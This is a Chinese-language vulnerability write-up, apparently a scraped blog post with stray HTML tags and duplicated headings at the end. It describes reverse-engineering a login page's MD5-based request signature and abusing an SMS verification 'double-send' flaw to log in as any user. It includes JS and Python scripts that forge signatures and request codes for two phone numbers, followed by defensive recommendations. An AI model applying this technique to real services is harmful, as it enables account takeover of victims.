从JS逆向到任意用户登录漏洞分析<\/h1>

前言<\/h2>
在测试登录接口时，发现验证码请求包存在sign校验机制。通过逆向分析sign值的生成逻辑，测试发现存在验证码双发问题，最终导致任意用户登录漏洞。<\/p>

JS分析过程<\/h2>

1. 初始观察<\/h3>

点击获取验证码时，请求包包含32位sign值，初步判断为MD5加密<\/li>

无法直接重放请求包，说明sign值具有时效性校验<\/li> <\/ul>

2. 逆向定位方法<\/h3>

直接搜索sign关键词结果过多，不适合定位<\/li>
使用Promise.then()启动器分析异步回调<\/li>

通过\/page接口测试，在页面加载时已生成sign值<\/li> <\/ul>

3. 核心代码追踪<\/h3>

调用栈分析：<\/strong><\/p>

v.request → v内部函数 → onrequest → e()函数 → e.headers.sign
<\/code><\/pre>
关键函数结构：<\/strong><\/p>
\/\/ sign生成主逻辑
<\/span><\/span><\/span><\/span>e<\/span>.headers<\/span>.sign<\/span> =<\/span> function<\/span>(t<\/span>) {
<\/span><\/span>    return<\/span> md<\/span>(pd<\/span>(n<\/span> =<\/span> t<\/span> +<\/span> e<\/span> +<\/span> time<\/span>))
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 分解函数调用链
<\/span><\/span><\/span><\/span>md<\/span>() →<\/span> gd<\/span>() +<\/span> _d<\/span>()
<\/span><\/span>pd<\/span>() →<\/span> fd<\/span>()  \/\/ 疑似MD5加密函数
<\/span><\/span><\/span><\/code><\/pre>4. 加密算法分析<\/h3>
sign生成公式：<\/strong><\/p>
sign = md(pd(n = t + e + timestamp))
<\/code><\/pre>
参数说明：<\/strong><\/p>

t: 请求参数<\/li>
e: 固定值或密钥<\/li>
timestamp: 时间戳<\/li>
<\/ul>
fd()函数分析：<\/strong><\/p>

确认实现MD5加密算法<\/li>
对拼接字符串 t + e + timestamp<\/code> 进行MD5哈希<\/li>
<\/ul>
5. 加密验证<\/h3>
通过控制台获取n值，使用在线MD5平台验证：<\/p>

原始值：t + e + timestamp<\/code><\/li>
MD5结果：02d932d40fabc5db9345f3309fb7d15a<\/code><\/li>
与代码生成结果完全一致<\/li>
<\/ul>
脚本测试<\/h2>
1. JS脚本实现<\/h3>
\/\/ 生成timestamp和sign值
<\/span><\/span><\/span><\/span>function<\/span> generateSign<\/span>(t<\/span>, e<\/span>) {
<\/span><\/span>    const<\/span> timestamp<\/span> =<\/span> Date.now<\/span>();
<\/span><\/span>    const<\/span> n<\/span> =<\/span> t<\/span> +<\/span> e<\/span> +<\/span> timestamp<\/span>;
<\/span><\/span>    const<\/span> sign<\/span> =<\/span> md5<\/span>(n<\/span>); \/\/ 实现MD5加密
<\/span><\/span><\/span><\/span>    return<\/span> {timestamp<\/span>, sign<\/span>};
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. Python调用脚本<\/h3>
import<\/span> execjs
<\/span><\/span>import<\/span> requests
<\/span><\/span>
<\/span><\/span># 调用JS生成签名<\/span>
<\/span><\/span>def<\/span> get_sign<\/span>(phone):
<\/span><\/span>    with<\/span> open('sign.js'<\/span>, 'r'<\/span>) as<\/span> f:
<\/span><\/span>        js_code =<\/span> f.<\/span>read()
<\/span><\/span>    
<\/span><\/span>    ctx =<\/span> execjs.<\/span>compile(js_code)
<\/span><\/span>    result =<\/span> ctx.<\/span>call('generateSign'<\/span>, phone, '固定密钥'<\/span>)
<\/span><\/span>    
<\/span><\/span>    return<\/span> result
<\/span><\/span>
<\/span><\/span># 构造恶意请求<\/span>
<\/span><\/span>def<\/span> exploit<\/span>():
<\/span><\/span>    # 同时为两个手机号请求验证码<\/span>
<\/span><\/span>    phones =<\/span> ['13800138000'<\/span>, '13900139000'<\/span>]
<\/span><\/span>    
<\/span><\/span>    for<\/span> phone in<\/span> phones:
<\/span><\/span>        sign_data =<\/span> get_sign(phone)
<\/span><\/span>        headers =<\/span> {
<\/span><\/span>            'sign'<\/span>: sign_data['sign'<\/span>],
<\/span><\/span>            'timestamp'<\/span>: sign_data['timestamp'<\/span>]
<\/span><\/span>        }
<\/span><\/span>        # 发送验证码请求<\/span>
<\/span><\/span>        response =<\/span> requests.<\/span>post('\/api\/sms'<\/span>, headers=<\/span>headers)
<\/span><\/span><\/code><\/pre>漏洞原理<\/h2>
验证码双发机制<\/h3>

系统未校验同一timestamp的重复使用<\/li>
攻击者可在短时间内使用相同sign值请求多个手机号的验证码<\/li>
导致验证码同时发送给受害者和攻击者控制的手机号<\/li>
<\/ul>
任意用户登录实现<\/h3>

获取目标用户手机号<\/li>
构造恶意请求同时向目标手机和攻击者手机发送验证码<\/li>
攻击者接收验证码后登录目标账户<\/li>
<\/ol>
防护建议<\/h2>


签名强化<\/strong><\/p>

增加随机nonce值防止重放<\/li>
使用HMAC等更安全的签名算法<\/li>
<\/ul>
<\/li>

验证码安全<\/strong><\/p>

限制同一IP的验证码请求频率<\/li>
校验手机号与session的绑定关系<\/li>
实现验证码单发机制<\/li>
<\/ul>
<\/li>

登录流程优化<\/strong><\/p>

增加设备指纹验证<\/li>
实施多因素认证<\/li>
监控异常登录行为<\/li>
<\/ul>
<\/li>
<\/ol>
总结<\/h2>
通过JS逆向分析发现签名算法缺陷，结合验证码机制的安全漏洞，形成了完整的攻击链。此类漏洞的挖掘需要熟练掌握前端逆向技术和业务逻辑分析能力，同时提醒开发者在设计安全机制时需要全面考虑各种攻击场景。<\/p>

从JS逆向到任意用户登录漏洞分析<\/h1>

前言<\/h2> 在测试登录接口时，发现验证码请求包存在sign校验机制。通过逆向分析sign值的生成逻辑，测试发现存在验证码双发问题，最终导致任意用户登录漏洞。<\/p>

JS分析过程<\/h2>

脚本测试<\/h2>

漏洞原理<\/h2>

前言<\/h2>
在测试登录接口时，发现验证码请求包存在sign校验机制。通过逆向分析sign值的生成逻辑，测试发现存在验证码双发问题，最终导致任意用户登录漏洞。<\/p>